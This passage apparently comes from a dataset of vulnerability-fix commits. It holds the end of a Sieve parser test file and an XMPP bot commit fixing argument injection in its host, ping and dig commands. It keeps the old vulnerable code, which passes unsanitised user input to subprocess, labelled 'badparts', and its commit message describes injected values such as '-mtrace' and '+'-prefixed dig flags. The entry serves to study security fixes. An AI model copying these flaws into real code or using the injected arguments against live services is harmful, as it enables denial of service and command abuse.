:matches\n \"subject\"\n [\"*make*money*fast*\",\"*university*dipl*mas*\"]\n fileinto (type: action)\n \"spam\"\nelse (type: control)\n fileinto (type: action)\n \"personal\"\n\"\"\")\n\n def test_explicit_comparator(self):\n self.compilation_ok(\"\"\"\nif header :contains :comparator \"i;octet\" \"Subject\" \"MAKE MONEY FAST\" {\n discard;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n header (type: test)\n \"i;octet\"\n :contains\n \"Subject\"\n \"MAKE MONEY FAST\"\n discard (type: action)\n\"\"\")\n\n def test_non_ordered_args(self):\n self.compilation_ok(\"\"\"\nif address :all :is \"from\" \"tim@example.com\" {\n discard;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n address (type: test)\n :all\n :is\n \"from\"\n \"tim@example.com\"\n discard (type: action)\n\"\"\")\n\n def test_multiple_not(self):\n self.compilation_ok(\"\"\"\nif not not not not true {\n stop;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n not (type: test)\n not (type: test)\n not (type: test)\n not (type: test)\n true (type: test)\n stop (type: control)\n\"\"\")\n\n def test_just_one_command(self):\n self.compilation_ok(\"keep;\")\n self.representation_is(\"\"\"\nkeep (type: action)\n\"\"\")\n\n def test_singletest_testlist(self):\n self.compilation_ok(\"\"\"\nif anyof (true) {\n discard;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n anyof (type: test)\n true (type: test)\n discard (type: action)\n\"\"\")\n\n def test_truefalse_testlist(self):\n self.compilation_ok(\"\"\"\nif anyof(true, false) {\n discard;\n}\n\"\"\")\n self.representation_is(\"\"\"\nif (type: control)\n anyof (type: test)\n true (type: test)\n false (type: test)\n discard (type: action)\n\"\"\")\n\n def test_vacationext_basic(self):\n self.compilation_ok(\"\"\"\nrequire \"vacation\";\nif header :contains \"subject\" \"cyrus\" {\n vacation \"I'm out -- send mail to cyrus-bugs\";\n} else {\n vacation \"I'm out -- call me at +1 304 555 0123\";\n}\n\"\"\")\n\n def test_vacationext_medium(self):\n self.compilation_ok(\"\"\"\nrequire \"vacation\";\nif header :contains \"subject\" \"lunch\" {\n vacation :handle \"ran-away\" \"I'm out and can't meet for lunch\";\n} else {\n vacation :handle \"ran-away\" \"I'm out\";\n}\n\"\"\")\n\n def test_vacationext_with_limit(self):\n self.compilation_ok(\"\"\"\nrequire \"vacation\";\nvacation :days 23 :addresses [\"tjs@example.edu\",\n \"ts4z@landru.example.edu\"]\n \"I'm away until October 19.\n If it's an emergency, call 911, I guess.\" ;\n\"\"\")\n\n def test_vacationext_with_multiline(self):\n self.compilation_ok(\"\"\"\nrequire \"vacation\";\nvacation :mime text:\nContent-Type: multipart/alternative; boundary=foo\n\n--foo\n\nI'm at the beach relaxing. Mmmm, surf...\n\n--foo\nContent-Type: text/html; charset=us-ascii\n\n\nHow to relax\n\n

    I'm at the beach relaxing.\nMmmm, surf...\n\n\n--foo--\n.\n;\n\"\"\")\n\n def test_reject_extension(self):\n self.compilation_ok(\"\"\"\nrequire \"reject\";\n\nif header :contains \"subject\" \"viagra\" {\n reject;\n}\n\"\"\")\n\nclass InvalidSyntaxes(SieveTest):\n\n def test_nested_comments(self):\n self.compilation_ko(\"\"\"\n/* this is a comment /* with a nested comment inside */\nit is allowed by the RFC :p */\n\"\"\")\n\n def test_nonopened_block(self):\n self.compilation_ko(\"\"\"\nif header :is \"Sender\" \"me@example.com\" \n discard;\n}\n\"\"\")\n\n def test_nonclosed_block(self):\n self.compilation_ko(\"\"\"\nif header :is \"Sender\" \"me@example.com\" {\n discard;\n\n\"\"\")\n\n def test_unknown_token(self):\n self.compilation_ko(\"\"\"\nif header :is \"Sender\" \"Toto\" & header :contains \"Cc\" \"Tata\" {\n \n}\n\"\"\")\n\n def test_empty_string_list(self):\n self.compilation_ko(\"require [];\")\n\n def test_unclosed_string_list(self):\n self.compilation_ko('require [\"toto\", \"tata\";')\n\n def test_misplaced_comma_in_string_list(self):\n self.compilation_ko('require [\"toto\",];')\n\n def test_nonopened_tests_list(self):\n self.compilation_ko(\"\"\"\nif anyof header :is \"Sender\" \"me@example.com\",\n header :is \"Sender\" \"myself@example.com\") {\n fileinto \"trash\";\n}\n\"\"\")\n\n def test_nonclosed_tests_list(self):\n self.compilation_ko(\"\"\"\nif anyof (header :is \"Sender\" \"me@example.com\",\n header :is \"Sender\" \"myself@example.com\" {\n fileinto \"trash\";\n}\n\"\"\")\n\n def test_nonclosed_tests_list2(self):\n self.compilation_ko(\"\"\"\nif anyof (header :is \"Sender\" {\n fileinto \"trash\";\n}\n\"\"\")\n\n def test_misplaced_comma_in_tests_list(self):\n self.compilation_ko(\"\"\"\nif anyof (header :is \"Sender\" \"me@example.com\",) {\n\n}\n\"\"\")\n\n def test_comma_inside_arguments(self):\n self.compilation_ko(\"\"\"\nrequire \"fileinto\", \"enveloppe\";\n\"\"\")\n\n def test_non_ordered_args(self):\n self.compilation_ko(\"\"\"\nif address \"From\" :is \"tim@example.com\" {\n discard;\n}\n\"\"\")\n\n def test_extra_arg(self):\n self.compilation_ko(\"\"\"\nif address :is \"From\" \"tim@example.com\" \"tutu\" {\n discard;\n}\n\"\"\")\n\n def test_empty_not(self):\n self.compilation_ko(\"\"\"\nif not {\n discard;\n}\n\"\"\")\n\n def test_missing_semicolon(self):\n self.compilation_ko(\"\"\"\nrequire [\"fileinto\"]\n\"\"\")\n\n def test_missing_semicolon_in_block(self):\n self.compilation_ko(\"\"\"\nif true {\n stop\n}\n\"\"\")\n\n def test_misplaced_parenthesis(self):\n self.compilation_ko(\"\"\"\nif (true) {\n\n}\n\"\"\")\n\nclass LanguageRestrictions(SieveTest):\n\n def test_unknown_control(self):\n self.compilation_ko(\"\"\"\nmacommande \"Toto\";\n\"\"\")\n\n def test_misplaced_elsif(self):\n self.compilation_ko(\"\"\"\nelsif true {\n\n}\n\"\"\")\n\n def test_misplaced_elsif2(self):\n self.compilation_ko(\"\"\"\nelsif header :is \"From\" \"toto\" {\n\n}\n\"\"\")\n\n def test_misplaced_nested_elsif(self):\n self.compilation_ko(\"\"\"\nif true {\n elsif false {\n\n }\n}\n\"\"\")\n\n def test_unexpected_argument(self):\n self.compilation_ko('stop \"toto\";')\n\n def test_bad_arg_value(self):\n self.compilation_ko(\"\"\"\nif header :isnot \"Sent\" \"me@example.com\" {\n stop;\n}\n\"\"\")\n\n def test_bad_arg_value2(self):\n self.compilation_ko(\"\"\"\nif header :isnot \"Sent\" 10000 {\n stop;\n}\n\"\"\")\n\n def test_bad_comparator_value(self):\n self.compilation_ko(\"\"\"\nif header :contains :comparator \"i;prout\" \"Subject\" \"MAKE MONEY FAST\" {\n discard;\n}\n\"\"\")\n\n def test_not_included_extension(self):\n self.compilation_ko(\"\"\"\nif header :contains \"Subject\" \"MAKE MONEY FAST\" {\n fileinto \"spam\";\n}\n\"\"\")\n\n def test_test_outside_control(self):\n self.compilation_ko(\"true;\")\n \nif __name__ == \"__main__\":\n unittest.main()\n\n"}}, "msg": "changed test_add_command to check for UnknownCommand before injection"}}, "https://github.com/horazont/xmpp-crowd": {"efa07da10cc04a4a55b7061487136004f9036e97": {"url": "https://api.github.com/repos/horazont/xmpp-crowd/commits/efa07da10cc04a4a55b7061487136004f9036e97", "html_url": "https://github.com/horazont/xmpp-crowd/commit/efa07da10cc04a4a55b7061487136004f9036e97", "message": "Fix multiple command vulnerabilities\n\n* The target host passed to :class:`foomodules.Commands.Host` and\n :class:`foomodules.Commands.Ping` could be crafted to possibly produce\n malicious behaviour, as it is passed verbatim to the respective shell\n command. Using e.g. `-mtrace` as hostname for the host command would\n produce considerable memory and cpu consumption.\n\n* :class:`foomodules.Commands.Dig` allowed injection of a single flag\n (by setting it as host name) if a record type was set. In that case,\n `dig` would intepret the record type as host name to look up and\n the host name (starting with a `+`) would be taken as a flag.", "sha": "efa07da10cc04a4a55b7061487136004f9036e97", "keyword": "command injection malicious", "diff": "diff --git a/foomodules/Commands.py b/foomodules/Commands.py\nindex 3220db1..593b35e 100644\n--- a/foomodules/Commands.py\n+++ b/foomodules/Commands.py\n@@ -86,16 +86,27 @@ def __call__(self, msg, arguments, errorSink=None):\n self.reply(msg, random.choice(self.fnordlist))\n return True\n \n-class Host(Base.MessageHandler):\n- def __call__(self, msg, arguments, errorSink=None):\n+class Host(Base.ArgparseCommand):\n+ def __init__(self, command_name=\"!host\", **kwargs):\n+ super().__init__(command_name, **kwargs)\n+ self.parser.add_argument(\n+ \"hostname\",\n+ metavar=\"HOST\",\n+ help=\"Hostname to look up\")\n+\n+ def _call(self, msg, args, errorSink=None):\n proc = subprocess.Popen(\n- [\"host\", arguments],\n+ [\"host\", \"--\", args.hostname],\n stdout=subprocess.PIPE\n )\n output, _ = proc.communicate()\n output = output.decode().strip()\n \n- self.reply(msg, output)\n+ if proc.returncode == 0 and not output:\n+ self.reply(msg,\n+ \"{} has no matching records\".format(args.hostname))\n+ else:\n+ self.reply(msg, output)\n \n class Uptime(Base.MessageHandler):\n def __init__(self, show_users=False, **kwargs):\n@@ -280,7 +291,7 @@ def _call(self, msg, args, errorSink=None):\n count = 5\n pingcmd.append(\"-c{0:d}\".format(count))\n proc = subprocess.Popen(\n- pingcmd + self.pingargs + [args.host],\n+ pingcmd + self.pingargs + [\"--\", args.host],\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE\n )\n@@ -410,6 +421,10 @@ def _call(self, msg, args, errorSink=None):\n atstr = \"@\"+args.at\n userargs.append(atstr)\n \n+ if any(arg.startswith(\"+\") for arg in userargs):\n+ self.reply(msg, \"nice try\")\n+ return\n+\n call = [\"dig\", \"+time=2\", \"+short\"] + userargs\n \n proc = subprocess.Popen(\n", "files": {"/foomodules/Commands.py": {"changes": [{"diff": "\n self.reply(msg, random.choice(self.fnordlist))\n return True\n \n-class Host(Base.MessageHandler):\n- def __call__(self, msg, arguments, errorSink=None):\n+class Host(Base.ArgparseCommand):\n+ def __init__(self, command_name=\"!host\", **kwargs):\n+ super().__init__(command_name, **kwargs)\n+ self.parser.add_argument(\n+ \"hostname\",\n+ metavar=\"HOST\",\n+ help=\"Hostname to look up\")\n+\n+ def _call(self, msg, args, errorSink=None):\n proc = subprocess.Popen(\n- [\"host\", arguments],\n+ [\"host\", \"--\", args.hostname],\n stdout=subprocess.PIPE\n )\n output, _ = proc.communicate()\n output = output.decode().strip()\n \n- self.reply(msg, output)\n+ if proc.returncode == 0 and not output:\n+ self.reply(msg,\n+ \"{} has no matching records\".format(args.hostname))\n+ else:\n+ self.reply(msg, output)\n \n class Uptime(Base.MessageHandler):\n def __init__(self, show_users=False, **kwargs):\n", "add": 15, "remove": 4, "filename": "/foomodules/Commands.py", "badparts": ["class Host(Base.MessageHandler):", " def __call__(self, msg, arguments, errorSink=None):", " [\"host\", arguments],", " self.reply(msg, output)"], "goodparts": ["class Host(Base.ArgparseCommand):", " def __init__(self, command_name=\"!host\", **kwargs):", " super().__init__(command_name, **kwargs)", " self.parser.add_argument(", " \"hostname\",", " metavar=\"HOST\",", " help=\"Hostname to look up\")", " def _call(self, msg, args, errorSink=None):", " [\"host\", \"--\", args.hostname],", " if proc.returncode == 0 and not output:", " self.reply(msg,", " \"{} has no matching records\".format(args.hostname))", " else:", " self.reply(msg, output)"]}, {"diff": "\n count = 5\n pingcmd.append(\"-c{0:d}\".format(count))\n proc = subprocess.Popen(\n- pingcmd + self.pingargs + [args.host],\n+ pingcmd + self.pingargs + [\"--\", args.host],\n stderr=subprocess.PIPE,\n stdout=subprocess.PIPE\n )\n", "add": 1, "remove": 1, "filename": "/foomodules/Commands.py", "badparts": [" pingcmd + self.pingargs + [args.host],"], "goodparts": [" pingcmd + self.pingargs + [\"--\", args.host],"]}], "source": "\nimport binascii import errno import random import subprocess import sys import os import re import socket import argparse from datetime import datetime, timedelta, date import ipaddress import logging import calendar try: import pytz except ImportError: pytz=None import foomodules.Base as Base import foomodules.utils as utils import foomodules.polylib as polylib class Say(Base.MessageHandler): def __init__(self, variableTo=False, **kwargs): super().__init__(**kwargs) self.variableTo=variableTo def __call__(self, msg, arguments, errorSink=None): if self.variableTo: try: to, mtype, body=arguments.split(\" \", 2) except ValueError as err: raise ValueError(\"Too few arguments:{0}\".format(str(err))) else: if msg[\"type\"]==\"groupchat\": to=msg[\"from\"].bare else: to=msg[\"from\"] body=arguments mtype=None self.reply(msg, body, overrideTo=to, overrideMType=mtype) class Fnord(Base.MessageHandler): fnordlist=[ \"Fnord ist verdampfter Kr\u00e4utertee -ohne die Kr\u00e4uter\", \"Fnord ist ein wirklich, wirklich hoher Berg\", \"Fnord ist der Ort wohin die Socken nach der W\u00e4sche verschwinden\", \"Fnord ist das Ger\u00e4t der Zahn\u00e4rzte f\u00fcr schwierige Patienten\", \"Fnord ist der Eimer, wo sie die unbenutzen Serifen von Helvetica lagern\", \"Fnord ist das Echo der Stille\", \"Fnord ist Pacman ohne die Punkte\", \"Fnord ist eine Reihe von nervigen elektronischen Nachrichten\", \"Fnord ist das Yin ohne das Yang\", \"Fnord ist die Verkaufssteuer auf die Fr\u00f6hlichkeit\", \"Fnord ist die Seriennummer auf deiner Cornflakes-Packung\", \"Fnord ist die Quelle aller Nullbits in deinem Computer\", \"Fnord ist der Grund, warum Lisp so viele Klammern hat\", \"Fnord ist weder ein Partikel noch eine Welle\", \"Fnord ist die kleinste Zahl gr\u00f6sser Null\", \"Fnord ist der Grund, warum \u00c4rzte wollen, dass du hustest\", \"Fnord ist der unbenutzte M\u00fcnzeinwurf am Spielautomaten\", \"Fnord ist der Klang einer einzelnen klatschenden Hand\", \"Fnord ist die Ignosekunde bevor du die L\u00f6schtaste im falschen Dokument dr\u00fcckst\", \"Fnord ist wenn du Nachts an der roten Ampel stehst\", \"Fnord ist das Gef\u00fchl in deinem Kopf, wenn du die Luft zu lange h\u00e4ltst\", \"Fnord ist die leeren Seiten am Ende deines Buches\", \"Fnord ist der kleine gr\u00fcne Stein in deinem Schuh\", \"Fnord ist was du denkst wenn du nicht weisst was du denkst\", \"Fnord ist die Farbe die nur der Blinde sieht\", \"Fnord ist Morgens sp\u00e4t und Abends fr\u00fch\", \"Fnord ist wo die Busse sich verstecken in der Nacht\", \"Fnord ist der Raum zwischen den Pixeln auf deinem Bildschirm\", \"Fnord ist das Pfeifen in deinem Ohr\", \"Fnord ist das pelzige Gef\u00fchl auf deinen Z\u00e4hnen am n\u00e4chsten Tag\", \"Fnord ist die Angst und ist die Erleichterung und ist die Angst\", \"Fnord schl\u00e4ft nie\", \"Fnord ist xand.\", ] def __call__(self, msg, arguments, errorSink=None): if len(arguments.strip()) > 0: return self.reply(msg, random.choice(self.fnordlist)) return True class Host(Base.MessageHandler): def __call__(self, msg, arguments, errorSink=None): proc=subprocess.Popen( [\"host\", arguments], stdout=subprocess.PIPE ) output, _=proc.communicate() output=output.decode().strip() self.reply(msg, output) class Uptime(Base.MessageHandler): def __init__(self, show_users=False, **kwargs): super().__init__(**kwargs) self._show_users=show_users def __call__(self, msg, arguments, errorSink=None): if arguments.strip(): return proc=subprocess.Popen( [\"uptime\"], stdout=subprocess.PIPE ) output, _=proc.communicate() output=output.decode().strip() if not self._show_users: output=re.sub(\"[0-9]+users, \", \"\", output) self.reply(msg, output) class Reload(Base.MessageHandler): def __call__(self, msg, arguments, errorSink=None): if arguments.strip(): return self.xmpp.config.reload() class REPL(Base.MessageHandler): def __call__(self, msg, arguments, errorSink=None): if arguments.strip(): return import code namespace=dict(locals()) namespace[\"xmpp\"]=self.XMPP self.reply(msg, \"Dropping into repl shell --don't expect any further interaction until termination of shell access\") code.InteractiveConsole(namespace).interact(\"REPL shell as requested\") class Respawn(Base.MessageHandler): def __init__(self, **kwargs): super().__init__(**kwargs) self.argv=list(sys.argv) self.cwd=os.getcwd() def __call__(self, msg, arguments, errorSink=None): if arguments.strip(): return print(\"disconnecting for respawn\") self.XMPP.disconnect(reconnect=False, wait=True) print(\"preparing and running execv\") os.chdir(self.cwd) os.execv(self.argv[0], self.argv) class Peek(Base.ArgparseCommand): def __init__(self, timeout=3, command_name=\"peek\", maxlen=256, **kwargs): super().__init__(command_name, **kwargs) self.timeout=timeout self.maxlen=maxlen self.argparse.add_argument( \"-u\", \"--udp\", action=\"store_true\", dest=\"udp\", default=False, help=\"Use UDP instead of TCP\", ) self.argparse.add_argument( \"-6\", \"--ipv6\", action=\"store_true\", dest=\"ipv6\", default=False, help=\"Use IPv6 sockets to connect to target\" ) self.argparse.add_argument( \"host\", help=\"Host or IP to connect to\" ) self.argparse.add_argument( \"port\", type=int, help=\"TCP/UDP port to connect to\" ) def recvline(self, sock): buf=b\"\" while b\"\\n\" not in buf and len(buf) < self.maxlen: try: data=sock.recv(1024) if len(data)==0: break buf +=data except socket.error as err: if err.errno==errno.EAGAIN: print(\"EAGAIN\") break raise return buf.split(b\"\\n\", 1)[0] def _is_ipv6(self, host): try: return ipaddress.ip_address(host).version==6 except ValueError: return False def _call(self, msg, args, errorSink=None): v6=True if args.ipv6 else self._is_ipv6(args.host) fam=socket.AF_INET6 if v6 else socket.AF_INET typ=socket.SOCK_DGRAM if args.udp else socket.SOCK_STREAM sock=socket.socket(fam, typ, 0) sock.settimeout(self.timeout) try: sock.connect((args.host, args.port)) except socket.error as err: self.reply(msg, \"connect error:{0!s}\".format(err)) return try: try: buf=self.recvline(sock) except socket.timeout as err: self.reply(msg, \"error: didn't receive any data in time\") return finally: sock.close() if not buf: self.reply(msg, \"error: nothing received before first newline\") return try: reply=buf.decode(\"utf-8\").strip() if utils.evil_string(reply): reply=None except UnicodeDecodeError as err: reply=None if reply is None: reply=\"hexdump:{0}\".format(binascii.b2a_hex(buf).decode(\"ascii\")) else: hoststr=\"[{}]\".format(args.host) if self._is_ipv6(args.host) else args.host reply=\"{host}:{port} says:{0}\".format(reply, host=hoststr, port=args.port) self.reply(msg, reply) class Ping(Base.ArgparseCommand): packetline=re.compile(\"([0-9]+) packets transmitted,([0-9]+) received(.*),([0-9]+)% packet loss, time([0-9]+)ms\") rttline=re.compile(\"rtt min/avg/max/mdev=(([0-9.]+/){3}([0-9.]+)) ms\") def __init__(self, count=4, interval=0.5, command_name=\"ping\", **kwargs): super().__init__(command_name, **kwargs) self.argparse.add_argument( \"-6\", \"--ipv6\", action=\"store_true\", dest=\"ipv6\", default=False, help=\"Use ping6 instead of ping\" ) self.argparse.add_argument( \"--alot\", action=\"store_true\", dest=\"alot\", help=\"Send more pings\" ) self.argparse.add_argument( \"host\", help=\"Host which is to be pinged\" ) self.pingargs=[ \"-q\", \"-i{0:f}\".format(interval) ] def _call(self, msg, args, errorSink=None): pingcmd=[\"ping6\" if args.ipv6 else \"ping\"] if args.alot: count=20 else: count=5 pingcmd.append(\"-c{0:d}\".format(count)) proc=subprocess.Popen( pingcmd +self.pingargs +[args.host], stderr=subprocess.PIPE, stdout=subprocess.PIPE ) out, err=proc.communicate() if proc.wait() !=0: message=err.decode().strip() if not message: self.reply(msg, \"unknown error, timeout/blocked?\") else: self.reply(msg, \"error:{0}\".format(message)) else: lines=out.decode().strip().split(\"\\n\") packetinfo=self.packetline.match(lines[3]) rttinfo=self.rttline.match(lines[4]) if not packetinfo or not rttinfo: self.reply(msg, \"unknown error, unable to parse ping output, dumping to stdout\") print(out.decode()) else: packetinfo=packetinfo.groups() rttinfo=rttinfo.group(1).split(\"/\") try: message=\"{host}:{recv}/{sent} pckts.,{loss}% loss, rtt \u2193/-/\u2191/\u2195={rttmin}/{rttavg}/{rttmax}/{rttmdev}, time{time}ms\".format( host=args.host, sent=int(packetinfo[0]), recv=int(packetinfo[1]), loss=int(packetinfo[3]), rttmin=rttinfo[0], rttavg=rttinfo[1], rttmax=rttinfo[2], rttmdev=rttinfo[3], time=int(packetinfo[4]) ) except ValueError: self.reply(msg, \"malformatted ping output, dumping to stdout\") print(out.decode()) return self.reply( msg, message ) class Roll(Base.MessageHandler): rollex_base=\"([0-9]*)[dW]([0-9]+)\" rollex_all=re.compile(\"^(({0}\\s+)*{0})(\\s+(each\\s+)?\\w+\\s+([0-9]+))?\\s*$\".format(rollex_base), re.I) rollex=re.compile(rollex_base, re.I) def _too_much(self, msg): self.reply(msg, \"yeah, right, I'll go and rob a die factory\") def __call__(self, msg, arguments, errorSink=None): matched=self.rollex_all.match(arguments) if not matched: self.reply(msg, \"usage: XdY rolls a dY X times\") return results=[] die=matched.group(1) for match in self.rollex.finditer(die): if len(results) > 4000: self._too_much() return count, dice=match.groups() count=int(count) if count else 1 dice=int(dice) if count < 1: self.reply(msg, \"thats not a reasonable count:{}\".format(count)) return if dice <=1: self.reply(msg, \"thats not a reasonable die:{}\".format(dice)) return if count > 1000 or len(results) > 1000: self._too_much(msg) return results.extend(random.randint(1, dice) for i in range(count)) against=matched.group(9) each=matched.group(8) suffix=\"\" print(repr(against)) if against: against=int(against) if against >=sum(results): suffix=\": passed\" else: suffix=\": failed\" self.reply(msg, \"results:{}, sum={}{}\".format( \" \".join(\"{}\".format(result) for result in results), sum(results), suffix )) class Dig(Base.ArgparseCommand): def __init__(self, command_name=\"dig\", **kwargs): super().__init__(command_name, **kwargs) self.argparse.add_argument( \"-s\", \"--server\", \"--at\", default=None, help=\"Server to ask for the record\", dest=\"at\" ) self.argparse.add_argument( \"kind\", metavar=\"RECTYPE\", nargs=\"?\", default=None, type=lambda x: x.upper(), choices=[\"SRV\", \"A\", \"AAAA\", \"CNAME\", \"MX\", \"SOA\", \"TXT\", \"SPF\", \"NS\", \"SSHFP\", \"NSEC\", \"NSEC3\", \"DNSKEY\", \"RRSIG\", \"DS\", \"TLSA\", \"PTR\"], help=\"Record kind to ask for\" ) self.argparse.add_argument( \"name\", metavar=\"NAME\", help=\"Record name to look up\" ) def _call(self, msg, args, errorSink=None): userargs=[args.name] kindstr=\"\" if args.kind is not None: kindstr=\"({})\".format(args.kind) userargs.insert(0, args.kind) atstr=\"\" if args.at is not None: atstr=\"@\"+args.at userargs.append(atstr) call=[\"dig\", \"+time=2\", \"+short\"] +userargs proc=subprocess.Popen( call, stdout=subprocess.PIPE ) stdout, _=proc.communicate() if proc.wait() !=0: self.reply(msg, stdout.decode().strip(\";\").strip()) return results=list(filter(bool, stdout.decode().strip().split(\"\\n\"))) if results: resultstr=\", \".join(results) else: resultstr=\"no records\" self.reply(msg, \"{host}{at}{kind}:{results}\".format( host=args.name, at=atstr, kind=kindstr, results=resultstr )) class CW(Base.MessageHandler): def __call__(self, msg, arguments, errorSink=None): if arguments.strip(): return current_date=date.today() current_cw=current_date.isocalendar()[1] current_year=current_date.year paritystr=\"\" if(current_cw % 2)==0: paritystr=\"even\" else: paritystr=\"odd\" self.reply(msg, \"Current week is week cw=current_cw, year=current_year, parity=paritystr )) class Redirect(Base.MessageHandler): def __init__(self, new_name, **kwargs): super().__init__(**kwargs) self._new_name=new_name def __call__(self, msg, arguments, errorSink=None): self.reply( msg, \"I don't know that. Did you mean:{}{}\".format( self._new_name, arguments)) class Date(Base.MessageHandler): def __init__(self, timezone, **kwargs): super().__init__(**kwargs) if pytz is None: logging.warn(\"Timezone support disabled, install pytz to enable.\") self._timezone=None else: self._timezone=pytz.timezone(timezone) def _format_date(self, dt): return dt.strftime(\"%a %d %b %Y %H:%M:%S %Z\") def __call__(self, msg, arguments, errorSink=None): if arguments.strip(): return if pytz is not None: dt=datetime.now(pytz.UTC) if self._timezone is not None: dt=dt.astimezone(self._timezone) else: dt=datetime.utcnow() self.reply(msg, self._format_date(dt)) class DiscordianDateTime: ST_TIBS_DAY=\"St. Tib\u2019s Day\" HOLIDAYS=[ \"Mungday\", \"Chaoflux\", \"Mojoday\", \"Discoflux\", \"Syaday\", \"Confuflux\", \"Zaraday\", \"Bureflux\", \"Maladay\", ] SEASONS=[ \"Chaos\", \"Discord\", \"Confusion\", \"Bureaucracy\", \"The Aftermath\", ] WEEKDAYS=[ \"Sweetmorn\", \"Boomtime\", \"Pungenday\", \"Prickle-Prickle\", \"Setting Orange\", ] yold=None seasonname=None season=None weekday=None weekdayname=None day=None hour=None minute=None second=None def __init__(self, dt): y, m, d=dt.year, dt.month, dt.day self.yold=y +1166 self.hour=dt.hour self.minute=dt.minute self.second=dt.second if(m, d)==(2, 29): self.weekdayname=self.ST_TIBS_DAY else: day_of_year=int(dt.strftime(\"%j\")) if calendar.isleap(y): if day_of_year > 60: day_of_year -=1 season=int((day_of_year-1) / 73) self.season=season+1 self.seasonname=self.SEASONS[season] self.day=(day_of_year-1) % 73 +1 self.weekday=(day_of_year-1) % 5 +1 if self.day==5 or self.day==50: offs=1 if self.day==50 else 0 holidayidx=season*2 +offs self.weekdayname=self.HOLIDAYS[holidayidx] else: self.weekdayname=self.WEEKDAYS[self.weekday-1] class DDate(Date): @staticmethod def _cardinal_number(num): suffixes={ \"1\": \"st\", \"2\": \"nd\", \"3\": \"rd\" } exceptions={11, 12, 13} if num in exceptions: return \"{:d}th\".format(num) num=str(num) num +=suffixes.get(num[-1], \"th\") return num def _format_date(self, dt): ddt=DiscordianDateTime(dt) if ddt.day is None: return \"Today is{weekdayname} in the YOLD{yold:04d}\".format( weekdayname=ddt.weekdayname, yold=ddt.yold) else: return \"Today is{weekdayname}, the{card} day of{seasonname} in the YOLD{yold}\".format( weekdayname=ddt.weekdayname, card=self._cardinal_number(ddt.day), seasonname=ddt.seasonname, yold=ddt.yold) class Poly(Base.MessageHandler): divex=re.compile(r\"^\\s*(.*?)\\s+mod\\s+(.*?)\\s+in\\s+GF\\(([0-9]+)\\)\\[(\\w)\\]\\s*$\", re.I) supunmap={v: k for k, v in polylib.supmap.items()} def __init__(self, degree_limit=1024, **kwargs): super().__init__(**kwargs) self.degree_limit=degree_limit def _parse_coeff(self, cstr, var): coefficient, _, exponent=cstr.partition(var) if _ !=var: try: return int(cstr), 0 except ValueError: raise ValueError(\"Not a valid coefficient for a polynome in\" \"{var}:{}\".format(cstr, var=var)) if exponent.startswith(\"^\"): exponent=exponent[1:].replace(\"{\", \"\").replace(\"}\", \"\") else: exponent=\"\".join(map(lambda x: self.supunmap.get(x, x), exponent)) if not exponent: exponent=1 else: exponent=int(exponent) if not coefficient: coefficient=1 else: coefficient=int(coefficient) return coefficient, exponent def _parse_poly(self, pstr, var): pstr=\"\".join(map(str.strip, pstr)) summands=pstr.split(\"+\") coefficients=list(map(lambda x: self._parse_coeff(x, var), summands)) cs=[0]*(max(degree for _, degree in coefficients)+1) for value, degree in coefficients: if degree < 0: raise ValueError(\"Negative exponents are invalid for \" \"polynomials.\") if self.degree_limit is not None and degree > self.degree_limit: raise ValueError(\"Polynomial out of supported range. \" \"Maximum degree is{}\".format( self.degree_limit)) cs[degree]=value return cs def _parse_instruction(self, s): match=self.divex.match(s) if match is None: raise ValueError(\"Could not parse command\") poly1=match.group(1) poly2=match.group(2) instruction=\"mod\" p=int(match.group(3)) var=match.group(4) cs1=self._parse_poly(poly1, var) cs2=self._parse_poly(poly2, var) field=polylib.IntField(p) p1=polylib.FieldPoly(field, cs1) p2=polylib.FieldPoly(field, cs2) return p1, instruction, p2 def __call__(self, msg, arguments, errorSink=None): if not arguments.strip(): return try: p1, _, p2=self._parse_instruction(arguments) except ValueError as err: self.reply(msg, \"could not parse your request:{}. please use format: \" \"poly1 mod poly2 in GF(p)[x]\".format(err)) return try: d, r=divmod(p1, p2) except ZeroDivisionError: self.reply(msg, \"division by zero\") return self.reply(msg, \"{a} //{b}={d}; remainder:{r}\".format( a=p1, b=p2, d=d, r=r)) ", "sourceWithComments": "import binascii\nimport errno\nimport random\nimport subprocess\nimport sys\nimport os\nimport re\nimport socket\nimport argparse\nfrom datetime import datetime, timedelta, date\nimport ipaddress\nimport logging\nimport calendar\n\ntry:\n import pytz\nexcept ImportError:\n # no timezone support\n pytz = None\n\nimport foomodules.Base as Base\nimport foomodules.utils as utils\nimport foomodules.polylib as polylib\n\nclass Say(Base.MessageHandler):\n def __init__(self, variableTo=False, **kwargs):\n super().__init__(**kwargs)\n self.variableTo = variableTo\n\n def __call__(self, msg, arguments, errorSink=None):\n if self.variableTo:\n try:\n to, mtype, body = arguments.split(\" \", 2)\n except ValueError as err:\n raise ValueError(\"Too few arguments: {0}\".format(str(err)))\n else:\n if msg[\"type\"] == \"groupchat\":\n to = msg[\"from\"].bare\n else:\n to = msg[\"from\"]\n body = arguments\n mtype = None\n self.reply(msg, body, overrideTo=to, overrideMType=mtype)\n\n\nclass Fnord(Base.MessageHandler):\n fnordlist = [\n \"Fnord ist verdampfter Kr\u00e4utertee - ohne die Kr\u00e4uter\",\n \"Fnord ist ein wirklich, wirklich hoher Berg\",\n \"Fnord ist der Ort wohin die Socken nach der W\u00e4sche verschwinden\",\n \"Fnord ist das Ger\u00e4t der Zahn\u00e4rzte f\u00fcr schwierige Patienten\",\n \"Fnord ist der Eimer, wo sie die unbenutzen Serifen von Helvetica lagern\",\n \"Fnord ist das Echo der Stille\",\n \"Fnord ist Pacman ohne die Punkte\",\n \"Fnord ist eine Reihe von nervigen elektronischen Nachrichten\",\n \"Fnord ist das Yin ohne das Yang\",\n \"Fnord ist die Verkaufssteuer auf die Fr\u00f6hlichkeit\",\n \"Fnord ist die Seriennummer auf deiner Cornflakes-Packung\",\n \"Fnord ist die Quelle aller Nullbits in deinem Computer\",\n \"Fnord ist der Grund, warum Lisp so viele Klammern hat\",\n \"Fnord ist weder ein Partikel noch eine Welle\",\n \"Fnord ist die kleinste Zahl gr\u00f6sser Null\",\n \"Fnord ist der Grund, warum \u00c4rzte wollen, dass du hustest\",\n \"Fnord ist der unbenutzte M\u00fcnzeinwurf am Spielautomaten\",\n \"Fnord ist der Klang einer einzelnen klatschenden Hand\",\n \"Fnord ist die Ignosekunde bevor du die L\u00f6schtaste im falschen Dokument 